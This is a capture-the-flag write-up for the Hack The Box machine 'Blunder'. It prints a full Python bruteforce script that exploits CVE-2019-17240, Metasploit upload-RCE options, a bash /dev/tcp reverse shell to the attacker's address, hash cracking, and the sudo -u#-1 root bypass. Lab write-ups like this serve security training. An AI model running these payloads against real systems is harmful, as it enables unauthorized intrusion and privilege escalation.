Hack The Box Blunder Writeup (Easy Linux)
Easy Linux box. CVE-2019-17240 defeats Bludit's login rate limit, an image upload flaw gives a shell, and sudo -u#-1 turns a !root rule into a root shell.
Summary
Blunder runs Bludit 3.9.2, a flat file CMS whose version is printed straight into the stylesheet links on every page. A directory bruteforce with extensions turns up todo.txt, which names fergus as a user, and cewl builds a wordlist from the blog’s own posts. Bludit 3.9.2 is affected by CVE-2019-17240, which trusts the X-Forwarded-For header for its bruteforce protection, so a public script sprays that wordlist without ever being locked out and recovers RolandDeschain. Authenticated, the Metasploit module for Bludit’s image upload writes a payload plus an .htaccess that bypasses the extension check and returns a shell as www-data. A second, half upgraded copy of the site in /var/www/bludit-3.10.0a still holds bl-content/databases/users.php with the SHA-1 password of hugo, which hashcat cracks to Password120. Hugo’s sudo rule reads (ALL, !root) /bin/bash, and sudo 1.8.25p1 does not validate user ids, so sudo -u#-1 /bin/bash runs as uid 0 anyway.
Web Server Enumeration
The website has many posts about different stuff:
If I read through the page’s source code, I see a few version variables, and I can also notice how the content is dynamic, so it’s probably not a static page:
For reference,
1
2
3
4
5
<!-- Include Bootstrap CSS file bootstrap.css -->
<link rel="stylesheet" type="text/css" href="http://10.129.95.225/bl-kernel/css/bootstrap.min.css?version=3.9.2">
<!-- Include CSS Styles from this theme -->
<link rel="stylesheet" type="text/css" href="http://10.129.95.225/bl-themes/blogx/css/style.css?version=3.9.2">
So it looks like it’s on version 3.9.2
Directory Bruteforcing
I perform a directory bruteforcing attack:
1
ffuf -u http://10.129.95.225/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 50
And one of the hits is for /admin:
1
admin [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 1324ms]
It gets me to a login page:
The page shows the text “BLUDIT”. I use “searchsploit” to look for this name and find many results:
There are just a bunch of items for the exact version we’re likely dealing with right now:
1
2
3
4
Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass | php/webapps/48746.rb
Bludit 3.9.2 - Auth Bruteforce Bypass | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit) | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal | multiple/webapps/48701.txt
Including ones related to a auth bruteforce bypass, which is peculiar.
The directory bruteforcing would never have gotten me anywhere, because the stupid fucking file we’re looking for is “todo.txt”. What an absolute bullshit. There’s no other way around it, either you find this file and you’re a maniac that actually adds a bunch of extensions to the directory bruteforcing scan, or you wouldn’t go any further on the machine.
This sucks because the machine does not perform well and can barely handle 15 threads when bruteforcing. It’s simply time consuming and not fun, because if you’re gonna search for extensions, you better add a bunch of them like .zip for backups, or .bak and so on. This would increase the wordlist dramatically, and the server simply cannot handle many simultaneous connections so what’s the point?
I wouldn’t complain if the server was able to handle like 100 threads, 400 requests per second or so. But it can BARELY handle 35 requests per second and you’re telling me I gotta bruteforce this shit or otherwise I would not be able to complete the box? Hilarious
1
ffuf -u http://10.129.95.225/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 10 -e .php,.txt
Anyways, we have todo.txt:
1
http://10.129.95.225/todo.txt
That serves only to tell me about a stupid fucking username that I need to use to bruteforce the application LOL
1
-Inform fergus that the new blog needs images - PENDING
Gosh
Bludit Auth Rate Limiting Bypass: CVE-2019-17240
There are plenty of resources online that explain this vulnerability in detail:
bl-kernel/security.class.php in Bludit 3.9.2 allows attackers to bypass a brute-force protection mechanism by using many different forged X-Forwarded-For or Client-IP HTTP headers. Reference.
So basically Bludit, for rate limiting login attempts, trust user input from the X-Forwarded-For HTTP header, which allows the user to spoof this header so they would never get restricted from authenticating.
I use the following exploit script:
1
searchsploit -m php/webapps/48942.py
But I remove the “pwn” dependencies so the final script looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
import requests
import sys
import re
import argparse, textwrap
#from pwn import *
#Expected Arguments
parser = argparse.ArgumentParser(description="Login checker", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Usage :
./script.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
./script.py -l http://127.0.0.1/admin/login.php -u /Directory/user.txt -p /Directory/pass.txt'''))
parser.add_argument("-l","--url", help="Path to Bludit (Example: http://127.0.0.1/admin/login.php)")
parser.add_argument("-u","--userlist", help="Username Dictionary")
parser.add_argument("-p","--passlist", help="Password Dictionary")
args = parser.parse_args()
if len(sys.argv) < 2:
print (f"script Usage: ./script.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")
sys.exit(1)
# Variable
LoginPage = args.url
Username_list = args.userlist
Password_list = args.passlist
def login(Username,Password):
session = requests.session()
r = session.get(LoginPage)
# Progress Check
print('Brute Force')
#Getting CSRF token value
CSRF = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)
CSRF = CSRF.group(1)
#Specifying Headers Value
headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Referer' : f"{LoginPage}",
'X-Forwarded-For' : f"{Password}"
}
#POST REQ data
postreqcontent = {
'tokenCSRF' : f"{CSRF}",
'username' : f"{Username}",
'password' : f"{Password}"
}
#Sending POST REQ
r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)
#Printing Username:Password
print('Testing -> {U}:{P}'.format(U = Username, P = Password))
#Conditional loops
if 'Location' in r.headers:
if "/admin/dashboard" in r.headers['Location']:
print()
print(f'SUCCESS !!')
print(f"Use Credential -> {Username}:{Password}")
sys.exit(0)
elif "has been blocked" in r.text:
print(f"{Password} - Word BLOCKED")
#Reading User.txt & Pass.txt files
userfile = open(Username_list).readlines()
for Username in userfile:
Username = Username.strip()
passfile = open(Password_list).readlines()
for Password in passfile:
Password = Password.strip()
login(Username,Password)
Building a Custom Wordlist
Since the website has a few blog posts, I create a custom wordlist for the environment with cewl:
1
cewl http://10.129.95.225/ --with-numbers -d 5 > word.list
I create “user.txt”:
1
echo fergus > user.txt
use the script with the following arguments:
1
python3 48942.py -l http://10.129.95.225/admin/login.php -u user.txt -p word.list
And soon enough I get a hit for the following credentials:
1
2
Username: fergus
Password: RolandDeschain
And now I can log in to the administrative portal:
Initial Access: Bludit Unrestricted File Upload
I use this metasploit module with the following settings:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
msf exploit(linux/http/bludit_upload_images_exec) > options
Module options (exploit/linux/http/bludit_upload_images_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
BLUDITPASS RolandDeschain yes The password for Bludit
BLUDITUSER fergus yes The username for Bludit
Proxies no A proxy chain of format type:host:port[,type:host:
port][...]. Supported proxies: sapni, socks4, http
, socks5, socks5h
RHOSTS 10.129.95.225 yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path for Bludit
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Bludit v3.9.2
View the full module info with the info, or info -d command.
Information about the module goes:
This module exploits a vulnerability in Bludit: A simple, fast, “secure”, flat-file CMS. A vulnerability was found by christasa in the image uploading feature. A remote user could abuse the
uuidparameter in the upload feature in order to save a malicious payload anywhere onto the server, and then use a custom.htaccessfile to bypass the file extension check, and finally get remote code execution.
I run it and immediately get a meterpreter shell on the victim machine as “www-data”:
This meterpreter shell is shit so I drop to a normal shell:
1
meterpreter > shell
Start a netcat listener on other pane:
1
nc -lvnp 9999
And use a bash script to get a normal tcp reverse shell:
1
bash -i >& /dev/tcp/10.10.14.57/9999 0>&1
Immediately get the connection and stabilize the shell:
Horizontal Privilege Escalation - hugo
Since I’m the www-data user, the user usually responsible for the web application, I go look at /var/www right away:
1
2
3
4
5
6
7
www-data@blunder:/var/www/bludit-3.9.2$ ls -la /var/www
total 20
drwxr-xr-x 5 root root 4096 Nov 28 2019 .
drwxr-xr-x 15 root root 4096 Nov 27 2019 ..
drwxr-xr-x 8 www-data www-data 4096 May 19 2020 bludit-3.10.0a
drwxrwxr-x 8 www-data www-data 4096 Sep 8 2021 bludit-3.9.2
drwxr-xr-x 2 root root 4096 Sep 8 2021 html
I see there’s two versions of the same software. I guess they are in the middle of the process of updating from 3.9.2 to 3.10.0.
I cd into this new folder:
1
www-data@blunder:/var/www/bludit-3.9.2$ cd /var/www/bludit-3.10.0a/
I look for files inside it, targeting those juicy potential database/user credentials:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@blunder:/var/www/bludit-3.10.0a$ find . -type f | grep -i user
./bl-kernel/admin/controllers/users.php
./bl-kernel/admin/controllers/user-password.php
./bl-kernel/admin/controllers/new-user.php
./bl-kernel/admin/controllers/edit-user.php
./bl-kernel/admin/views/users.php
./bl-kernel/admin/views/user-password.php
./bl-kernel/admin/views/new-user.php
./bl-kernel/admin/views/edit-user.php
./bl-kernel/user.class.php
./bl-kernel/users.class.php
./bl-content/databases/users.php
Sure enough, ./bl-content/databases/users.php has what I was looking for:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
I grab the password hash and save it to a file on my local machine:
1
echo faca404fd5c0a31cf1897b823c695c85cffeb98d > hash.txt
I use hashcat with the best66 rule to crack it:
1
hashcat hash.txt /usr/share/wordlists/rockyou.txt --force -m 100 -r ~/hacking/tools/hashcat-7.1.2/rules/best66.rule
With that, new credentials:
1
2
Username: hugo
Password: Password120
And I can log in to the machine as hugo:
1
su hugo
Vertical Privilege Escalation
I’m “hugo” user now. Since I have the password for this user, it’s only natural that I try the low hanging fruit first with sudo -l.
It tells me:
1
2
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
This is very peculiar. I can look at the sudo version:
1
2
$ sudo --version
Sudo version 1.8.25p1
This version specifically is vulnerable to a security bypass. More information can be found in this article. But basically, the vulnerability allows to bypass Sudo rules that have been setup with the “!” symbol, to specify that a user should not be able to run a certain command as root (or any other user).
This is the full explanation from exploitdb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
User hacker may run the following commands on kali:
(ALL, !root) /bin/bash
So user hacker can't run /bin/bash as root (!root)
EXPLOIT:
sudo -u#-1 /bin/bash
Example :
hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#
Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id
and /bin/bash is executed with root permission
That’s very straight forward. I simply run the following as “hugo”:
1
sudo -u#-1 /bin/bash
And now I’m root:








